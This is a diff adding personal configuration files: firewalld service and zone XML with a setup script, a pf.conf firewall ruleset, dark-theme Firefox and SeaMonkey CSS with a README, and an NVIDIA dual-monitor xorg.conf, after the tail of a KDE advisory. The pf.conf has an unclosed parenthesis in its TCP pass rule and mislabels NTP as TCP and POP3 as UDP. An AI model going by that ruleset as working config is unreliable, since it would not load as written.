+    https://commits.kde.org/plasma-workspace/9db872df82c258315c6ebad800af59e81ffb9212
+Plasma 5.9/5.10/5.11:
+    https://commits.kde.org/plasma-workspace/f32002ce50edc3891f1fa41173132c820b917d57
+
+Credits
+=======
+Thanks to ksieluzyckih for the report and to Marco Martin for the fix.
blob - /dev/null
blob + 420512786b4eda28635e62c482b03c355f1a25ec (mode 755)
--- /dev/null
+++ Security/firewalld/services/ssh.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<service>
+  <short>SSH</short>
+  <description>Secure Shell (SSH) is a protocol for logging into and executing commands on remote machines. It provides secure encrypted communications. If you plan on accessing your machine remotely via SSH over a firewalled interface, enable this option. You need the openssh-server package installed for this option to be useful.</description>
+  <port protocol="tcp" port="22"/>
+</service>
blob - /dev/null
blob + 64417dec87bbe66f3a6ec9f01369eca98a417e83 (mode 755)
--- /dev/null
+++ Security/firewalld/zones/openSUSE-Server.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  <zone target="ACCEPT|%%REJECT%%|DROP">
+-->
+<zone>
+  <short>openSUSE-Server</short>
+  <description>For use as an openSUSE-Server.</description>
+  <service name="dhcpv6-client"/>
+  <service name="ssh"/>
+  <service name="http"/>
+  <service name="https"/>
+</zone>
blob - /dev/null
blob + 252d17de550ebdd5dd8a17385f13e0f5fcdcaf75 (mode 755)
--- /dev/null
+++ Security/firewalld.sh
@@ -0,0 +1,11 @@
+#!/bin/bash
+
+systemctl enable firewalld
+systemctl start firewalld
+systemctl restart firewalld
+
+firewall-cmd --complete-reload
+firewall-cmd --set-default-zone=openSUSE-Server
+firewall-cmd --complete-reload
+
+systemctl restart firewalld
blob - /dev/null
blob + a12ae003a84d34d069187547fccea0deb85fdbef (mode 755)
--- /dev/null
+++ Security/pf.conf
@@ -0,0 +1,45 @@
+# With help from: 'http://srobb.net/pf.html' and 'https://www.purplehat.org/?page_id=566'
+
+ext_if="vmx0"
+#int_if="int0"
+
+# TCP.
+# 22  - SSH
+# 25  - SMTP
+# 80  - HTTP
+# 110 - POP3
+# 123 - NTP
+# 443 - HTTPS
+# UDP.
+# 110 - POP3
+# 631 - IPP
+
+#Logging.
+pflog_enable="YES"
+pflog_logfile="/var/log/pf.log"
+
+tcp_pass = "{ 22 25 80 110 123 443 }"
+udp_pass = "{ 110 631 }"
+
+# Black holes.
+table <flood> persist
+
+icmp_types = "echoreq"
+allproto = "{ tcp, udp, ipv6, icmp, esp, ipencap }"
+privnets = "{ 127.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, 10.0.0.0/8 }"
+
+set loginterface $ext_if
+
+# Normalizes packets and masks the OS's shortcomings such as SYN/FIN packets 
+# [scrub reassemble tcp](BID 10183) and sequence number approximation 
+# bugs (BID 7487).
+scrub in on $ext_if no-df random-id
+
+# Block all input before processing rules.
+block in
+
+pass in log on $ext_if proto icmp to ($ext_if) keep state (max-src-conn 80, max-src-conn-rate 200/5, overload <flood> flush)
+pass in log on $ext_if proto tcp to ($ext_if) port $tcp_pass flags S/SA keep state (max-src-conn 80, max-src-conn-rate 200/5, overload <flood> flush
+
+# Anchor for fail2ban
+anchor "f2b/*"
blob - /dev/null
blob + 8b1d6624f5ff3fa5f75167358b2ae3beda3f02c1 (mode 755)
--- /dev/null
+++ firefox/README.md
@@ -0,0 +1,41 @@
+# My firefox configs.
+
+## How to use.
+
+## Firefox.
+You must restart Firefox for the CSS to reload!
+
+### Linux.
+Place in: `~/.mozilla/firefox/<profilestring>.(dev-edition-)default/`
+
+#### For example:
+`~/.mozilla/firefox/12345678.dev-edition-default/chrome/userChrome.css`
+
+### Mac.
+Place in: `~/Library/Application Support/Firefox/Profiles/<profilestring>.(dev-edition-)default/`
+
+### Windows.
+Place in: `%appdata%\Mozilla\Firefox\Profiles\<profilestring>.(dev-edition-)default\`
+
+## SeaMonkey.
+You must restart SeaMonkey for the CSS to reload!
+
+### Mac.
+Place in: `~/Library/Application Support/SeaMonkey/Profiles/<profilestring>.default/`
+
+#### For example:
+`~/Library/Application Support/SeaMonkey/Profiles/12345678.default/chrome/userChrome.css`
+
+## Extention list.
+
+### Firefox.
+[Dark Mode.](https://addons.mozilla.org/en-US/firefox/addon/dark-mode-webextension/)
+
+[HTTPS Everywhere.](https://addons.mozilla.org/en-US/firefox/addon/https-everywhere/)
+
+[uBlock Origin.](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/)
+
+### SeaMonkey.
+[Dark Background and Light Text.](https://addons.mozilla.org/en-US/seamonkey/addon/dark-bg-light-text-seamonkey/)
+
+[Firefox LEGACY - uBlock Origin.](https://github.com/gorhill/uBlock/releases)
blob - /dev/null
blob + 5b114fdfaef41fe6702a78c8d00c0b5ba0601526 (mode 755)
--- /dev/null
+++ firefox/chrome/userChrome.css
@@ -0,0 +1,9 @@
+.browserContainer {
+  background-color: #222 !important;
+}
+#sidebar {
+  background-color: #222 !important;
+}
+.sidebar-placesTree {
+  background-color: #222 !important;
+}
blob - /dev/null
blob + 1728391ea55f1046226e1245f1a39c3ca7cca072 (mode 755)
--- /dev/null
+++ firefox/chrome/userContent.css
@@ -0,0 +1,6 @@
+@-moz-document url("about:home"), url("about:newtab") {
+  body {background-color: #222 !important;}
+}
+@-moz-document url("about:blank") {
+  *:empty:not([id]):not([style]) {background-color: #222 !important;}
+}
blob - /dev/null
blob + 511e647a4af1a0aafac305cc5a58bbb54def1481 (mode 755)
--- /dev/null
+++ xorg.conf
@@ -0,0 +1,59 @@
+Section "ServerLayout"
+    Identifier     "Layout0"
+    Screen      0  "Screen0" 0 0
+    InputDevice    "Keyboard0" "CoreKeyboard"
+    InputDevice    "Mouse0" "CorePointer"
+    Option         "Xinerama" "0"
+EndSection
+
+Section "Files"
+EndSection
+
+Section "InputDevice"
+    # generated from data in "/etc/sysconfig/mouse"
+    Identifier     "Mouse0"
+    Driver         "mouse"
+    Option         "Protocol" "IMPS/2"
+    Option         "Device" "/dev/input/mice"
+    Option         "Emulate3Buttons" "yes"
+    Option         "ZAxisMapping" "4 5"
+EndSection
+
+Section "InputDevice"
+    # generated from default
+    Identifier     "Keyboard0"
+    Driver         "kbd"
+EndSection
+
+Section "Monitor"
+    # HorizSync source: builtin, VertRefresh source: builtin
+    Identifier     "Monitor0"
+    VendorName     "Unknown"
+    ModelName      "CRT-0"
+    HorizSync       28.0 - 55.0
+    VertRefresh     43.0 - 72.0
+    Option         "DPMS"
+EndSection
+
+Section "Device"
+    Identifier     "Device0"
+    Driver         "nvidia"
+    VendorName     "NVIDIA Corporation"
+    BoardName      "GeForce GTX 970"
+EndSection
+
+Section "Screen"
+    Identifier     "Screen0"
+    Device         "Device0"
+    Monitor        "Monitor0"
+    DefaultDepth    24
+    Option         "Stereo" "0"
+    Option         "nvidiaXineramaInfoOrder" "DFP-4"
+    Option         "metamodes" "DVI-I-0: 1368x768_60 +0+312 { ForceCompositionPipeline = On }, DVI-D-0: 1920x1080_60 +1368+0 { ForceCompositionPipeline = On }"
+    Option         "SLI" "Off"
+    Option         "MultiGPU" "Off"
+    Option         "BaseMosaic" "off"
+    SubSection     "Display"
+        Depth       24
+    EndSubSection
+EndSection